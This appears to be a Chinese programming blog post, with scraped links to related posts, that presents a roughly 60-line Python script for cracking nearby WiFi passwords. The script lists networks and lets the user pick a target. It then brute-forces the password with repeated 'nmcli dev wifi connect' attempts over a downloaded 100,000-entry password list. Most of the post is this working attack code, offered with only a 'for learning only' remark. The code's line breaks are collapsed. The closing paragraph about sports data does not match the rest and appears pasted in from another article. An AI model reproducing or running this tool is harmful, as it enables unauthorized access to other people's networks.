程序员宝藏库:GitHub - Jackpopc/CS-Books-Store: 你想要的计算机经典书籍,这里都有!

WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。

因此,我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets

def display_targets(networks, security_type):print("Select a target: \n")rows, columns = os.popen('stty size', 'r').read().split()for i in range(len(networks)):width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2spacer = " "if (int(columns) >= 100):calc = int((int(columns)-int(width))*0.75)else:calc = int(columns)-int(width)for index in range(calc):spacer += "."if index == (calc-1):spacer += " "print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi,

def prompt_for_target_choice(max):whileTrue:try:selected = int(input("\nEnter number of target: "))if(selected >= 1and selected <= max):return selected - 1except Exception as e:ignore = e
​print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):for password in passwords:# necessary due to NetworkManager restart after unsuccessful attempt at loginpassword = password.strip()
​# when when obtain password from url we need the decode utf-8 however we doesnt when reading from fileif isinstance(password, str):decoded_line = passwordelse:decoded_line = password.decode("utf-8")if args.verbose isTrue:print(bcolors.HEADER+"** TESTING **: with password '" +decoded_line+"'"+bcolors.ENDC)
​if (len(decoded_line) >= 8):time.sleep(3)
​creds = os.popen("sudo nmcli dev wifi connect " +selected_network+" password "+decoded_line).read()# print(creds)
​if ("Error:"in creds.strip()):if args.verbose isTrue:print(bcolors.FAIL+"** TESTING **: password '" +decoded_line+"' failed."+bcolors.ENDC)else:sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +decoded_line+"' succeeded."+bcolors.ENDC)else:if args.verbose isTrue:print(bcolors.OKCYAN+"** TESTING **: password '" +decoded_line+"' too short, passing."+bcolors.ENDC)
​print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main():require_root()args = argument_parser()
​# The user chose to supplied their own urlif args.url isnotNone:passwords = fetch_password_from_url(args.url)# user elect to read passwords form a fileelif args.file isnotNone:file = open(args.file, "r")passwords = file.readlines()ifnot passwords:print("Password file cannot be empty!")exit(0)file.close()else:# fallback to the default list as the user didnt supplied a password listdefault_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"passwords = fetch_password_from_url(default_url)
​# grabbing the list of the network ssidsfunc_call = start(1)networks = func_call[0]security_type = func_call[1]ifnot networks:print("No networks found!")sys.exit(-1)
​display_targets(networks, security_type)max = len(networks)pick = prompt_for_target_choice(max)target = networks[pick]print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
​brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果:

  • 红色:测试失败

  • 绿色:破解成功

  • 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

大家好,我是Jackpop!我花费了半个月的时间把这几年来收集的各种技术干货整理到一起,其中内容包括但不限于Python、机器学习、深度学习、计算机视觉、推荐系统、Linux、工程化、Java,内容多达5T+,获取方式:技术干货_免费高速下载|百度网盘-分享无限制(提取码:0000)

解锁WiFi密码,我只用了60行代码....相关推荐

  1. 解锁WiFi密码,我只用了60行代码

    WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi. 因此,我们对WiFi密码的需求也没有之前那么迫切了. 如何破解WiFi密码? 本文, ...

  2. 实现macOS热门功能,我只用了60行代码

    程序员宝藏库:https://github.com/Jackpopc/CS-Books-Store Hello,大家好,我是Jackpop,感谢您对平凡而诗意的关注与认可! 今天来给大家聊一聊macO ...

  3. python居然能语音控制电脑壁纸切换,只需60行代码

    前言 嗨喽~大家好呀,这里是魔王呐 ❤ ~! 家在日常的电脑使用中,都会有自己喜爱类型的桌面 单纯的桌面有时候会让人觉得单调 今天,就由我带领大家只用60行代码打造一款语音壁纸切换器程序, 让大家能够 ...

  4. 直击面试现场:神级程序员仅100秒,60行代码写出俄罗斯方块,成为全公司焦点!...

    小编我今天逛论坛看到一位HR帖子直播公司面试情况,该公司是做棋牌APP的,现在正在招聘前端工程师和运营人员,HR直播的是前端这块的,有写游戏的也有做网站项目的,写特效的都有很多,但是这位HR却看上了一 ...

  5. 菜鸟最爱,60行代码打造一款音乐播放器!

    点上方"菜鸟学Python",选择"星标" 第467篇原创干货,第一时间送达 大家好,我是菜鸟哥! 对于小伙伴们来说,在日常的学习和工作中,很多人都喜欢边听音乐 ...

  6. GameBuilder开发游戏应用系列之60行代码实现FlappyBird

    在线演示:http://osgames.duapp.com/apprun.html?appid=osgames1-911422256817006 在线编辑:http://osgames.duapp.c ...

  7. Win10下 60行代码实现多线程PDF转Word 运行错误摘要

    代码下载:https://github.com/python-fan/pdf2word 资料整合来源: https://www.imooc.com/qadetail/181211 https://zh ...

  8. 60行代码出炫酷效果之 python语音控制电脑壁纸切换

    前言 大家早好.午好.晚好吖 ❤ ~欢迎光临本文章 电脑大家有吧!手大家有吧!今天!! 就由我带领大家用区区60行代码打造一款语音壁纸切换器程序!!! 单纯的桌面有时候会让人觉得单调,那么~ 让大家能 ...

  9. python房子代码_基于python的链家小区房价爬取——仅需60行代码!

    简介 首先打开相关网页(北京链家小区信息). 注意本博客的代码适用于爬取某个城市的小区二手房房价信息. 如果需要爬取其他信息,可修改代码,链家的数据获取的基本逻辑都差不多. 效果展示 因为只需要60行 ...

最新文章

  1. IJCAI 2019:中国团队录取论文超三成,北大、南大榜上有名
  2. OpenPano:如何编写一个全景拼接器
  3. Linux stat命令总结
  4. mysql 连续签到天数_新版签到活动明天上线,福利活动抢鲜看~
  5. STM32中断优先级的管理(NVIC)
  6. python手机版-python手机版
  7. 马哥Linux培训第二周课程作业
  8. Unity3D ----- 制作信息滚动提示(NGUI)
  9. liunx 之 redHat 下 java 环境的配置和安装
  10. 匠心耕耘,新华三大学筑梦远航
  11. 【天津SEO】长尾关键词挖掘的八种技巧
  12. html网页怎么分页打印,web如何实现页面分页打印
  13. LayaBox---Dialog弹窗
  14. stack(后进先出)
  15. 苹果电脑怎么更换计算机模式,图文详解苹果电脑如何切换成windows系统
  16. 浙大版《C语言程序设计(第3版)》题目集 习题4-6 水仙花数 (20 分)
  17. 如何关闭AndroidX?
  18. mongo3.5 java cursor_pymongo for py2.7.py3.6版本-pymongo下载3.5.1 官方最新版-西西软件下载...
  19. 什么是ICP备案?需要准备哪些资料?
  20. 第十四届蓝桥杯三月真题刷题训练——第 22 天

热门文章

  1. python selenium定位元素方式
  2. 用C语言实现整形数据的数位分离和逆序输出
  3. 【项目】壁纸微信小程序
  4. 中国外卖O2O行业现状调研及未来竞争格局分析报告2021-2027年
  5. Android O VTS测试方法
  6. 5.9 Go语言项目实战:驾考系统
  7. 阿里云搭建单机Hadoop之HDFS
  8. ICS4U Summative Project: Hangman
  9. cs项目服务器更新,Visual Studio下运行PowerShell脚本自动更新项目里AssemblyInfo.cs文件的版本(自增小版本号)并发布到Nuget服务器上...
  10. Office 显示仅查看未授权